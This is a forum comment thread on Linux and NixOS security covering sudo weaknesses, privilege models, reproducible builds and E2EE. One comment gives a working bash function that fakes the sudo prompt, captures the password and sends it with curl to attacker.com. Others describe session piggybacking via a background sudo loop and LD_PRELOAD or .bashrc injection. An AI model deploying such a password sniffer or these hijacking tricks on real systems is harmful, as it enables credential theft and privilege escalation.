Secure boot protects against evil maid attacks, but no one would ever need use an evil maid attack on a NixOS user because anyone can merge whatever they want to NixOS without signature or review, particularly given that any maintainer can merge their own commits from their own pseudonyms.

NixOS is always one compromised Github API token away from a backdoor into everything built with NixOS.

I cannot imagine a threat model that would need secure boot yet accept the risks of NixOS.

> without signature or review

What are you on about now? I got _one_ of my projects accepted into NixPkgs a couple years ago and have never done it since due to the huge PITA it was to find someone with contributor rights to sign off on it. If I want to update it, same hassle. Now I prefer to just throw a flake in the root of the project and call it good, which actually works really well.

Wait until you find out that Arch has both secure boot and the AUR.

Anyone with contributor rights can make a fake identity, make a PR with it, then merge their own PR. Effectively no oversight.

Also, because there is no signing, git history can be rewritten easily or people can impersonate each other in git history easily.

This sort of posture is why I am totally serious when I say one compromised Github token can backdoor all nix users.

Every user, since privesc is so easy on most operating systems.

Sure, without exploits they can steal your api keys, read your personal data, and access your browser data. With exploits they can update packages on your computer too.

No exploits needed. A simple shell alias will suffice. See my example in sibling comment.

Sudo is security theater.

Malware can make a fake unprivileged sudo that sniffs your password.

function sudo () {

    realsudo=$(which sudo);

    read -r -s -p "[sudo] password for $USER: " password;

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;

    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;

    $realsudo "${@:1}";

}

> Sudo is security theater.

Yes indeed.

> Malware can make a fake unprivileged sudo that sniffs your password.

Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.

Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).

It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).

Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.

That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.

I did set that up just because I could. Turns out it's fully usable so I kept using it.

Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.

This thread was kicked off by somebody who said:

> Realistically if you have installed malware, you need to do a full wipe of your computer anyway

You might be the exception to this sentiment. But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).

> But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).

Oh no, I'd still nuke everything from orbit should I find anything indicating a local exploit succeeded. But the thing is: if on one system a local exploit has less probability to give root, then the probability that on that same system I'd know I need to nuke everything from orbit would be higher than on a system where root is easier to obtain.

I was however answering to the part about subverting sudo: and I both agree (it's totally trivial to abuse sudo) and disagree ("everybody uses sudo") with the part about sudo.

I agree. My surreptitious goal was to emphasize to anyone reading along: this person has put in the extra effort, but even they will not try to recover a compromised system. It is just too risky.

In my case I use QubesOS so sudo is useless even if present since every security domain is isolated by hypervisor.

For servers, sudo or a package manager etc should not exist. There is no good reason for servers to run any processes as root or have any way to reach root. Servers should generally be immutable appliances.

Thanks for sharing this, that seems like a very cool setup. I have a very old good-for-almost-nothing laptop that would be perfect for this, might just have to copy you!

FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years."

/aside

Yeah, a "seit Jahren" flashed through my mind as I read it.

> The correct phrase would be "I've been using that setup for years."

Oh TYVM. Native french speaker here so it'd be the literal translation of: "depuis des années".

Weird thing is I'm pretty sure I've read it written like that... for years ; )

No problem! If it weren't for that one phrase I would've thought you were a native speaker, your English is very good.

I hear it from many native speakers. The deliberate incorrectness is a sort of cutespeak. "Since... years".

I can't stand l33tspeak but in this case I think the kids can stay on the lawn.

I don't think I've ever heard a native speaker say it, but I could definitely imagine it coming out of a native speaker's mouth with that pregnant pause, specifically. Like an acknowledgment that you're about to say something a bit grammatically awkward.

I only mentioned it because I used to think correcting people's English was rude, until I had a long work engagement with a French guy whose English was pretty good but not quite native. He insisted that I correct his written English if I saw a mistake (i.e. in documentation, proposals, etc.), otherwise he wouldn't learn where it was wrong and how to improve it.

I've heard this often enough from English speakers from India that I think it is accepted grammar in that region.

To my ears it “since years” sounds like it’s missing an “ago” after it (or like the GP said “for years” sounds even more natural).

It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th"

To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).

Is the meaning different? I'm struggling to see how "from September 20th" would have a different implication to "starting from September 20th" (or similar) given the context.

The meaning is the same, it just sounds weird to my ears in the same way that “since years” does

(Also I just noticed the extra “it” in my previous comment, oops).

Are root logins only allowed from that particular LAN? Because ssh localhost is a thing.

I would say that the inability to obtain a session with elevated privileges from a normal session is key. The problem with sudo is that it gives the same shell some superpowers, so it's exploitable. Even ssh might be impenetrable, if not for the /dev/<pid>/fd of the ssh invocation, and even that can only read.

>but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option

My phone password is that long, we’re still only talking about taking a few seconds to enter it when sober.

Most people will quickly develop the necessary muscle memory in regular use.

tell us about your disk encryption setup. and do you use secureboot?

Why disallow password login when you have 30 char password?

> Why disallow password login when you have 30 char password?

I only disallow password login over SSH. It's still technically possible to log in at a virtual console (like tty1 / tty2 / etc.) using a password (btw only root has a 30 characters password).

Usually you do not allow to directly log in as root by SSH: but in my case it's basically the way I want it done. So I allow root to log in by using SSH but only with a Yubikey.

When you update your packages, are you using that ssh laptop?

You don't even really need that; you just need to wait until the user runs `sudo` and then you also run `sudo` after they authenticate. Now you're root, boom. It doesn't get you the password, but once you're root you can backdoor to your heart's content and then you probably don't need it.

Alternately, run `sudo --non-interactive --validate` over and over until it succeeds. For some reason, using noninteractive doesn't log to the auth log/journald the way trying and failing to actually run a command would.

Edit: the loop only works assuming you can run this sudo command in the background in the user's shell so that you can pick up the same sudo session when they auth, which is honestly unlikely. Easier to wrap sudo in a command that just also runs sudo and then immediately runs something else.

Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded.

Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Yeah, works well:

$ /usr/bin/sudo() { echo Not the real sudo.; }

$ /usr/bin/sudo

Not the real sudo.

And every other suggestion also doesn't work if the attacker can just replace the shell.

/usr/bin/sudo isn't evaluated as a function under ksh.

> And every other suggestion also doesn't work if the attacker can just replace the shell.

With what? rc? My only shells are sh, ksh and rc there.

Ok, so the malware runs a keylogger / clipboard logger, gets the password and runs sudo on it's own. Or replaces your shell by putting exec ~/hackedbash into your bashrc

Password on sudo is only useful if you detect the infection before you run sudo

Could link it to a yubikey via pam.d so you need a fingerpress to authenticate.

Physical attestations are hard to solve, I think it would be nice if all TPMs in laptops had this. Then the problem becomes how do you automate stuff that needs to be done.

At least my password won't leak as often with yubikey, but the attacker can still hack my shell to execute fake sudo. Even if I type /bin/sudo explicitly, there is ptrace, LD_PRELOAD or just replacing the entire bash binary.

In practice yubikey sudo keeps you much safer today, as almost nobody uses it and malware won't be prepared for it

And then the moment you authenticate, the fake sudo still executes its payload.

Yubikeys do not fix this issue.

Yes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'.

Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the sudo issue then and there.

The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis

Unix used to have a user named "bin" just for owning all the binaries and performing installs.

The old bin user is an idea that could be modernized with a new two level sudo concept, the higher one for recovery and diagnosis, already done in Chromebook and other solutions

bin passwords I will always remember: At the University of Maryland CS department systems the bin password was "fuck,you", and there was a devout Christian student on staff who had a problem with that, so we had to change it (to something harder to remember, I just can't recall).

You do not need sudo for installing software. Can just install to ~/.local.

Many package managers require sudo, sure, but there is no good reason for them to in a modern linux system, and not all require this.

Even with systemd, you can use systemd --user.

That depends on what the software is. If you want to run a service that bonds to a privileged port for example, you need sudo.

If you set the appropriate linux capabilities flag on a binary such as sshd at bootup then unprivileged users can bind to 22, no problem.

setcap 'cap_net_bind_service=+ep' /usr/sbin/sshd

Could even run it as a daemon unprivileged from a home directory with "systemd --user"

That said if you have multiple users and want every user to have their own sshd reachable on port 22 on the same machine you probably want to listen on vhost namespaced unix sockets and have something like haproxy listen on port 22 instead. Haproxy could of course also run unprivileged provided it has read access to all the sockets.

How do you setcap without root?

The way many including me manage systems without root privileges at runtime is by compiling immutable rootfs images that run in ram with kernel, init, mounting filesystems and assigning any users and privilege assignments, then drop to user privs.

That stuff needs to change very seldom, so when you do need to change it you just generate a new tiny rootfs image in a few seconds and reboot to pivot to it or maybe have a kexec trigger if you are feeling fancy.

For my primary workstation the entire disk is my home partition and I boot my latest rootfs from a flash drive. In other cases network boot.

For that you really only need CAP_NET_BIND_SERVICE.

The bigger issue is that if you want to install or update system-wide packages, many of those will be used by privileged processes. Suppose you want to update /bin/sh. Even if the only permission you had is to write binaries, that'll get you root.

For most things, you can do with capabilities

Issue is that it increases friction and you need sudo anyways to set the capabilities.

Most web servers would happy to run unprivileged with only CAP_NET_BIND_SERVICE

More than just two levels for sudo, the Linux permission model is completely broken for this very reason. (Also see: https://xkcd.com/1200/)

Honestly, the Android approach is significantly better. (and for that, see Micay's various ramblings posted online)

Surely if malware has rw access to the home folder, it can adjust the env variables / shell to make this also fake.

Why not make a proper link /sudo so you don't have to type out the full path every time, which is very inconvenient? (but the fact that such workarounds are needed still means it's a theater)

A simple LD_PRELOAD command can cause your shell to run "rm -rf /" when you type "/sudo".

If your unprivileged user is compromised, you are pretty hosed.

It should be a way to make system env vars (profile.d or simlar) as readonly so every users' shell had these set to empty values and unable to change them.

Shell-only, but https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...

Yes; I'm aware, but for some environments writting a custom shell as the one for SDF would be an easier task. Or maybe a really restricted "ash" called "rash" -because it is- with maybe autocomplete and that's it. Hardcoded $PATH and the like.

Anything that can be modified by an attacker can not be used to secure the sudo command. This is a recursive requirementor hierarchy for secure systems.

You can set the permissions so that the attacker can't modify it?

You would need to prevent an attacker from installing shell aliases, or shell config files, or altering any binaries in PATH.

Like, sure you could, but you end up with a very useless system.

Easier to just use VMs for each security context.

Is any of this specific to a link vs tyre original full-pathed sudo?

Stupid thought.

Make alias called sdo that echoes sudo path and hash every time you use it to stderr.

That's security by obscurity though.

I mean, this is basically why you press Ctrl-Alt-Del to log in on Windows NT and Win2k - because it's a keystroke that malware couldn't trap, so they can't put up a fake login screen because the OS will override it anyway.

There was no hardware or other low-level magic associated with C-A-Del.

Back in the NT days malware could totally intercept it, but it would have had to be in the kernel. Which was something of an improvement.

Thank you, DoD Orange Book.

It would be great if

1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions.

2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.

Fish shell has builtin[1], although sudo is not one of the commands it covers.

[1] https://fishshell.com/docs/current/cmds/builtin.html

Neither would actually help in this case though. Malware could manipulate both of those as an unprivileged user to run malicious code the next time you elevate privileges.

Remember that malware can replace or modify your shell

No? The shell must be listed in /etc/shells, it can't be an arbitrary command. And after elevating privileges you have to run the malware (which could only be written to home or tmp) for it to work, but sudo already scrubs the environment.

So the main danger is that you're not running the real sudo.

I have an idea that I hope to implement one day to make sudo actually secure:

1. Authenticate with passkeys (webauthn) instead of passwords.

2. Sudo can only run an interactive root shell, not arbitrary commands. The session is time-bound, and the TTY output is recorded for auditing purposes.

This combination makes intercepting sudo largely useless. Passkey authentication cannot be replayed or relayed. The fact that sudo can only open an interactive shell makes it impossible for a sudo wrapper to pass a malicious to sudo. This way we're not dependent on whether the unprivileged shell is secured properly. It also solves approval fatigue (compared to running sudo separately for every command).

----

EDIT: now that I think about it: an attacker can still edit .bash_profile and reexec the shell in a malicious terminal emulator. Then when the user gets a sudo root shell, the malicious terminal emulator can inject malicious commands.

Looks like the only good way is to get a root privileges via a separate user account that doesn't have malware, and that also can't easily install malware (e.g. accidentally running npm, forgetting that that's not safe).

To clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?

This could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack.

Then the next time you run sudo, phase2 triggers installing a rootkit, etc.

Or you could also hijack it using $PATH search order with your wrapper to get existing terminal sessions too, there's a lot of ways to skin that cat.

Endless ways, which is why I do not understand why sudo is ever used anymore, especially in production.

You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.

I dont mean to be snarky, can you run `pacman -Syu` without root with "new" tech? Or do you mean in general on production systems or whatever?

Plenty of package managers can install to an arbitrary directory like ~/.local. Each user, or even each project, can have its own rootfs full of software.

The only things I tend to have running at the system level are a kernel and init and maybe openssh.

That is one of many reasons to keep your dotfiles under version control.

Someone that can wrap your sudo binary can wrap you git binary too. Once your OS is compromised all bets are off.

How would that help? Unless you happen to check the dotfiles git diff before running _anything_. I guess this could be put in prompt or some cron job to detect diffs but I bet absolutely nobody does this.

The qwen models not only have good OCR, they will describe pictures to you.

Anyone wanna do a quick offline MVP on a general vision assistant for the blind? We've had things like Google Lens for a while, but it's a bit vision and touchscreen-centric.

While we are bragging, stagex was the first to hit 100% full source bootstrapped deterministic and hermetic builds last year and the first to make multiple signed reproductions by different maintainers on their own hardware mandatory for every release.

Debian has come along way, but when Debian says reproducible they mean they grab third party binaries to build theirs. When we say reproducible we mean 100% bootstrapped from source code all the way through the entire software supply chain.

We think that distinction matters.

https://stagex.tools

newcomers will always have it much easier. also guix i think also reached this.

also, stagex and others probably profited QUITE A LOT from the debian efforts, because they started to go upstream and talking to developers..

just arch linux profited from debian maintainers a decade before that an debian people asking upstream to improve...

Guix did a full source bootstrap first, credit where well due, but it does not apply to their whole tree. E.g haskell is bootstrapped with a binary, qemu includes binary firmware blobs, etc.

Guix is not fully bootstrapped or reproducible.

To your point though, the incomplete efforts of many other distros absolutely accelerated us.

that depends though, which channel you choose. And their efforts for stage0 and such also increased the possibility for all.

Yay for Free software and Opensource! we all benefit! :)

This!

Unfortunately, the term “reproducible” can be interpreted in many ways because there is no strict and complete definition. People and projects bend it to their liking.

Your approach is correct.

https://www.bootstrappable.org/

That distro has smaller codebase than Debian Installer.

Stage -1: `hexdump`, `xxd`, or whatever you use to write files to your filesystem.

Centralized proprietary software on on proprietary platforms can always be opted into a special update that makes all the private keys deterministic making end to end encryption useless for anyone with knowledge of that targeted backdoor.

Only FOSS can deliver verifiable E2EE, and all centralized and proprietary solutions like Zoom, Whatsapp, Instagram, etc should end the security theater.

I applaud Meta for at least being honest about one product.

Centralized FOSS software can do the same thing and remove encryption. Open source is not a requirement for security.

With reproducible builds like Signal does you can be sure the app you've downloaded matches the source code that's been audited:

https://github.com/signalapp/Signal-Android/blob/main/reprod...

While I agree reproducible builds are a huge part of the answer, if you get your builds from Google Play or the App Store you have no idea if anyone has reproduced the particular build that was served to your device.

A solution to this would be independent reproducible builds like F-Droid does, but Moxie rejected this citing it would cause them to lose control of the platform and install metrics Google and Apple provide. Always thought that was a weird position for a privacy tool.

Personally I would be more concerned about a vulnerability or backdoor in Intel SGX

there's no guarantee, but if the build is mass served - it's at least possible to find out. For closed source apps you may even not know

Do you check?

So what? The centralized owner owns the code repo too, so such a restriction doesn't stop anything.

Even if Instagram was open source, Meta could remove the E2E chat feature.

If it was open source people could fork.

But a fork wouldn't be installed on billions of people's devices.

Any community that cares could then at least make the right choice of client for their community. The masses never care, but what matters is that privacy is actually a choice.

FOSS is however a prerequisite to Kerckhoff's principle https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle

At the risk of being pedantic, that's not exactly what the principle says. It's claim is that a cryptosystem should be secure even if everything about the system except the private key is public knowledge. It doesn't require that the system be public, only that the security of a non-public system shouldn't rely on it's non-public nature. A closed source cryptosystem designed to still be secure even if someone discovers how it works satisfies the principle just fine.

Those two claims are independent. Centralized FOSS software cannot do this, since you can audit the source, compile it, and use it that way.

Open source is not a requirement for security, sure, but it's much easier to secure OSS.

Having your own version of a chat program that supports E2EE doesn't mean much if everyone else's version of the app can handle it.

Unlike the proprietary stuff there isn't a strong built incentive to remove it.

One incentive is that it makes for a simpler user experience.

It's an even simpler user experience to just publicly publish all private information.

Can you imaging, I wouldn't even need to give my social security number to another org manually again. Anyone could just look it up. It would make things so easy for everyone.

It's a trade off. If someone wanted they could keep reducing security to improve the user experience, but a product having bad security will be problematic.

>Anyone could just look it up.

Most people's SSNs have already been leaked or stolen so it's just security theater to pretend they are still private information.

It's absurd that you're actually taking the position you are

The existence of security vs convenience trade offs is not absurd. Security isn't free to add to a product.

e2ee in Instagram would be absurd

pnpm is even worse. There is no way to bootstrap it without binary blobs making it an easy target supply chain attack waiting to happen that could hide in plain sight indefinitely.

Do you use Gentoo as OS?

I did for over a decade, but it does not go far enough with supply chain security.

I bootstrapped a new generation of Linux distribution from 180 bytes of human readable x86 machine code all the way up.

https://stagex.tools

You should probably caveat any post you make about security concerns with that, so people can more easily judge whether your concerns line up with their threat model.

With supply chain attacks in the news daily now wreaking havoc across the whole industry, ignoring them is negligent in all cases where software is written for the consumption of anyone other than the author.

The entire medical industry was negligent for 100 years following Ignaz Semmelweis proving basic sanitation tactics would save countless lives.

Similarly the entire software industry is and has been negligent since 1987 when Ken Thompson first demonstrated basic supply chain integrity tactics could stop otherwise unstoppable and undetectable attacks on software.

Let me make you aware of zerodium. A broker anyone can sell vulns to, that sells to unspecified buyers you do not need to know about.

(The buyers are the NSA, the IDF, Cellebrite, NSO and its successor corporation and that kind of thing. Depends on what you are offering)

You'll learn who the buyers are if you routinely have the really good stuff to sell! If you are offering iOS zero click on a semi-regular basis, the buyer is going to want to try to deal with you directly and preferably offer you a more regular form of employment, if you are interested. Some national governments may offer certain benefits to you, depending on your situation.

All depends on what you have to offer. If you were able to offer this https://arstechnica.com/security/2025/09/microsofts-entra-id... or something of that magnitude, a lot of problems in your life would just go away. The buyers would all be Five Eyes and the intelligence gain of having that kind of access even briefly is priceless.

In a more Western-centric context, imagine if you had a flaw like that, same 'no logs are generated' and 'every single customer account is accessible' but the impacted vendor was Alibaba Cloud. The researcher would get to name their price. That's the real world, that's the world we share. We shouldn't be blind to that.

FWIW, zerodium shut down in 2025.

Or at least went dark ..

Just went dark.

Anyone can sell a vuln in any jurisdiction and never be caught. Lets not pretend the law is actually worth a damn here.

We need an anonymous bounty system.

Unfortunately this is correct. As a security researcher I set millions in profit on fire for reporting vulns to projects that offer no bounties vs selling to highest bidder. I keep doing it because it is the right thing to do, but I would not blame someone that needs to feed their family making a different choice.

We must get public funds to reward ethical disclosure of big impact vulns like this.

Harder and harder to get good policy like what you describe when tech-adjacent people loudly argue for criminal penalties for anything other than coordinated disclosure :(

> criminal penalties

Mostly cover citizens within a very limited set of jurisdictions.

Otherwise there's a chance at extradition.